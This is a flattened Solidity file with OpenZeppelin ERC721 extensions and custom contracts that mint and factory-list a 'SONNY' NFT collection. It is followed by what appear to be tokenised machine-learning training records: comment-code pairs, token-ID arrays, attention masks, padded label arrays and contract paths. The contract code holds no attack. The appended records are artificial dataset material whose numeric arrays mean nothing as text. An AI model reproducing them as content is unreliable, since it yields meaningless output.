*/ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: NFTERC721.sol pragma solidity ^0.8.7; contract NFTERC721 is INFT, ERC721, ERC721Burnable, ERC721Pausable, ERC721Enumerable, AccessControl, Ownable, ContextMixin, NativeMetaTransaction { // Create a new role identifier for the minter role bytes32 public constant MINER_ROLE = keccak256("MINER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); using Counters for Counters.Counter; Counters.Counter private currentTokenId; /// @dev Base token URI used as a prefix by tokenURI(). string private baseTokenURI; string private collectionURI; uint256 public constant TOTAL_SUPPLY = 10800; constructor() ERC721("SONNY", "HM-SON") { _initializeEIP712("SONNY"); baseTokenURI = "https://cdn.nftstar.com/hm-son/metadata/"; collectionURI = "https://cdn.nftstar.com/hm-son/meta-son-heung-min.json"; // Grant the contract deployer the default admin role: it will be able to grant and revoke any roles _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINER_ROLE, msg.sender); _setupRole(PAUSER_ROLE, msg.sender); } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function remaining() public view override returns (uint256) { return TOTAL_SUPPLY - currentTokenId.current(); } function mintTo(address recipient) public override onlyRole(MINER_ROLE) returns (uint256) { uint256 tokenId = currentTokenId.current(); require(tokenId < TOTAL_SUPPLY, "Max supply reached"); currentTokenId.increment(); uint256 newItemId = currentTokenId.current(); _safeMint(recipient, newItemId); return newItemId; } function ownerTokens(address owner) public view returns (uint256[] memory) { uint256 size = ERC721.balanceOf(owner); uint256[] memory items = new uint256[](size); for (uint256 i = 0; i < size; i++) { items[i] = tokenOfOwnerByIndex(owner, i); } return items; } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require( hasRole(PAUSER_ROLE, msgSender()), "NFT: must have pauser role to pause" ); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require( hasRole(PAUSER_ROLE, msgSender()), "NFT: must have pauser role to unpause" ); _unpause(); } function current() public view returns (uint256) { return currentTokenId.current(); } function contractURI() public view returns (string memory) { return collectionURI; } function setContractURI(string memory _contractURI) public onlyOwner { collectionURI = _contractURI; } /// @dev Returns an URI for a given token ID function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } /// @dev Sets the base token URI prefix. function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner { baseTokenURI = _baseTokenURI; } function transferRoleAdmin(address newDefaultAdmin) external onlyRole(DEFAULT_ADMIN_ROLE) { _setupRole(DEFAULT_ADMIN_ROLE, newDefaultAdmin); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC721, ERC721Enumerable) returns (bool) { return interfaceId == type(INFT).interfaceId || super.supportsInterface(interfaceId); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC721, ERC721Pausable, ERC721Enumerable) { super._beforeTokenTransfer(from, to, amount); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: NFTFactory.sol pragma solidity ^0.8.7; contract NFTFactory is IERC721, AllowsConfigurableProxy, Pausable, ReentrancyGuard { using Strings for uint256; uint256 public NUM_OPTIONS; /// @notice Base URI for constructing tokenURI values for options. string public optionURI; /// @notice Contract that deployed this factory. FactoryMintable public token; constructor( string memory _baseOptionURI, address _owner, uint256 _numOptions, address _proxyAddress ) AllowsConfigurableProxy(_proxyAddress, true) { token = FactoryMintable(msg.sender); NUM_OPTIONS = _numOptions; optionURI = _baseOptionURI; transferOwnership(_owner); createOptionsAndEmitTransfers(); } error NotOwnerOrProxy(); error InvalidOptionId(); modifier onlyOwnerOrProxy() { if ( _msgSender() != owner() && !isApprovedForProxy(owner(), _msgSender()) ) { revert NotOwnerOrProxy(); } _; } modifier checkValidOptionId(uint256 _optionId) { // options are 1-indexed so check should be inclusive if (_optionId > NUM_OPTIONS) { revert InvalidOptionId(); } _; } modifier interactBurnInvalidOptionId(uint256 _optionId) { _; _burnInvalidOptions(); } /// @notice Sets the nft address for FactoryMintable. function setNFT(address _token) external onlyOwner { token = FactoryMintable(_token); } /// @notice Sets the base URI for constructing tokenURI values for options. function setBaseOptionURI(string memory _baseOptionURI) public onlyOwner { optionURI = _baseOptionURI; } /** @notice Returns a URL specifying option metadata, conforming to standard ERC1155 metadata format. */ function tokenURI(uint256 _optionId) external view returns (string memory) { return string(abi.encodePacked(optionURI, _optionId.toString())); } /** @dev Return true if operator is an approved proxy of Owner */ function isApprovedForAll(address _owner, address _operator) public view override returns (bool) { return isApprovedForProxy(_owner, _operator); } ///@notice public facing method for _burnInvalidOptions in case state of tokenContract changes function burnInvalidOptions() public onlyOwner { _burnInvalidOptions(); } ///@notice "burn" option by sending it to 0 address. This will hide all active listings. Called as part of interactBurnInvalidOptionIds function _burnInvalidOptions() internal { for (uint256 i = 1; i <= NUM_OPTIONS; ++i) { if (!token.factoryCanMint(i)) { emit Transfer(owner(), address(0), i); } } } /** @notice emit a transfer event for a "burn" option back to the owner if factoryCanMint the optionId @dev will re-validate listings on OpenSea frontend if an option becomes eligible to mint again eg, if max supply is increased */ function restoreOption(uint256 _optionId) external onlyOwner { if (token.factoryCanMint(_optionId)) { emit Transfer(address(0), owner(), _optionId); } } /** @notice Emits standard ERC721.Transfer events for each option so NFT indexers pick them up. Does not need to fire on contract ownership transfer because once the tokens exist, the `ownerOf` check will always pass for contract owner. */ function createOptionsAndEmitTransfers() internal { for (uint256 i = 1; i <= NUM_OPTIONS; i++) { emit Transfer(address(0), owner(), i); } } function approve(address operator, uint256) external override onlyOwner { setProxyAddress(operator); } function getApproved(uint256) external view override returns (address operator) { return proxyAddress(); } function setApprovalForAll(address operator, bool) external override onlyOwner { setProxyAddress(operator); } function supportsFactoryInterface() public pure returns (bool) { return true; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC165).interfaceId; } function balanceOf(address _owner) external view override returns (uint256) { return _owner == owner() ? NUM_OPTIONS : 0; } /** @notice Returns owner if _optionId is valid so posted orders pass validation */ function ownerOf(uint256 _optionId) public view override returns (address) { return token.factoryCanMint(_optionId) ? owner() : address(0); } function safeTransferFrom( address, address _to, uint256 _optionId ) public override nonReentrant onlyOwnerOrProxy whenNotPaused interactBurnInvalidOptionId(_optionId) { token.factoryMint(_optionId, _to); } function safeTransferFrom( address, address _to, uint256 _optionId, bytes calldata ) external override { safeTransferFrom(_to, _to, _optionId); } /** @notice hack: transferFrom is called on sale , this method mints the real token */ function transferFrom( address, address _to, uint256 _optionId ) public override nonReentrant onlyOwnerOrProxy whenNotPaused interactBurnInvalidOptionId(_optionId) { token.factoryMint(_optionId, _to); } } // File: NFTFactoryERC721.sol pragma solidity ^0.8.7; contract NFTFactoryERC721 is NFTERC721, FactoryMintable, ReentrancyGuard, AllowsConfigurableProxy { using Strings for uint256; uint256 public maxSupply; error NewMaxSupplyMustBeGreater(); constructor(address _proxyAddress) AllowsConfigurableProxy(_proxyAddress, true) { maxSupply = totalSupply(); tokenFactory = address( new NFTFactory( "https://cdn.nftstar.com/hm-son-mint/metadata/", owner(), 5, _proxyAddress ) ); _setupRole(MINER_ROLE, tokenFactory); emit Transfer(address(0), owner(), 0); } function factoryMint(uint256 _optionId, address _to) public override nonReentrant onlyFactory canMint(_optionId) { for (uint256 i; i < _optionId; ++i) { mintTo(_to); } } function factoryCanMint(uint256 _optionId) public view virtual override returns (bool) { if (_optionId == 0 || _optionId > maxSupply) { return false; } if (_optionId > (maxSupply - current())) { return false; } return true; } function setMaxSupply(uint256 _maxSupply) public onlyOwner { if (_maxSupply <= maxSupply) { revert NewMaxSupplyMustBeGreater(); } maxSupply = _maxSupply; } }
increase nonce for user (to avoid re-use)
nonces[userAddress] = userNonce.add(1);
6,034,576
[ 1, 267, 11908, 7448, 364, 729, 261, 869, 4543, 283, 17, 1202, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1661, 764, 63, 1355, 1887, 65, 273, 729, 13611, 18, 1289, 12, 21, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x8A3adEc04CC8384F8371eeF4560E183577C4669a/sources/src/metadata/AllowListMetadataRenderer.sol
@notice Token URI information getter @param tokenId to get uri for @return contract uri (if set) For open editions, set max supply to 0 for renderer to remove the edition max number This will be added back on once the open edition is "finalized"
function tokenURI(uint256 tokenId) external view override returns (string memory) { address target = msg.sender; TokenEditionInfo memory info = tokenInfos[target]; IERC721Drop media = IERC721Drop(target); uint256 maxSupply = media.saleDetails().maxSupply; if (maxSupply == type(uint64).max) { maxSupply = 0; } string memory description = string.concat( info.description, " ", info.formResponse ); return NFTMetadataRenderer.createMetadataEdition({ name: IERC721MetadataUpgradeable(target).name(), description: description, imageUrl: info.imageURI, animationUrl: info.animationURI, tokenOfEdition: tokenId, editionSize: maxSupply }); }
5,661,980
[ 1, 1345, 3699, 1779, 7060, 225, 1147, 548, 358, 336, 2003, 364, 327, 6835, 2003, 261, 430, 444, 13, 2457, 1696, 1675, 5029, 16, 444, 943, 14467, 358, 374, 364, 5690, 358, 1206, 326, 28432, 943, 1300, 1220, 903, 506, 3096, 1473, 603, 3647, 326, 1696, 28432, 353, 315, 6385, 1235, 6, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 3849, 203, 3639, 1135, 261, 1080, 3778, 13, 203, 565, 288, 203, 3639, 1758, 1018, 273, 1234, 18, 15330, 31, 203, 3639, 3155, 41, 1460, 966, 3778, 1123, 273, 1147, 7655, 63, 3299, 15533, 203, 3639, 467, 654, 39, 27, 5340, 7544, 3539, 273, 467, 654, 39, 27, 5340, 7544, 12, 3299, 1769, 203, 203, 3639, 2254, 5034, 943, 3088, 1283, 273, 3539, 18, 87, 5349, 3790, 7675, 1896, 3088, 1283, 31, 203, 203, 3639, 309, 261, 1896, 3088, 1283, 422, 618, 12, 11890, 1105, 2934, 1896, 13, 288, 203, 5411, 943, 3088, 1283, 273, 374, 31, 203, 3639, 289, 203, 3639, 533, 3778, 2477, 273, 533, 18, 16426, 12, 203, 5411, 1123, 18, 3384, 16, 203, 5411, 315, 3104, 203, 5411, 1123, 18, 687, 1064, 203, 3639, 11272, 203, 3639, 327, 203, 5411, 423, 4464, 2277, 6747, 18, 2640, 2277, 41, 1460, 12590, 203, 7734, 508, 30, 467, 654, 39, 27, 5340, 2277, 10784, 429, 12, 3299, 2934, 529, 9334, 203, 7734, 2477, 30, 2477, 16, 203, 7734, 27544, 30, 1123, 18, 2730, 3098, 16, 203, 7734, 8794, 1489, 30, 1123, 18, 30822, 3098, 16, 203, 7734, 1147, 951, 41, 1460, 30, 1147, 548, 16, 203, 7734, 28432, 1225, 30, 943, 3088, 1283, 203, 5411, 15549, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x92C159895901439CaA212997D505083a2fe88885/sources/contracts/Drppr721.sol
Maximum number of tokens a user can mint
uint256 public maxMintPublic;
4,909,984
[ 1, 13528, 1300, 434, 2430, 279, 729, 848, 312, 474, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
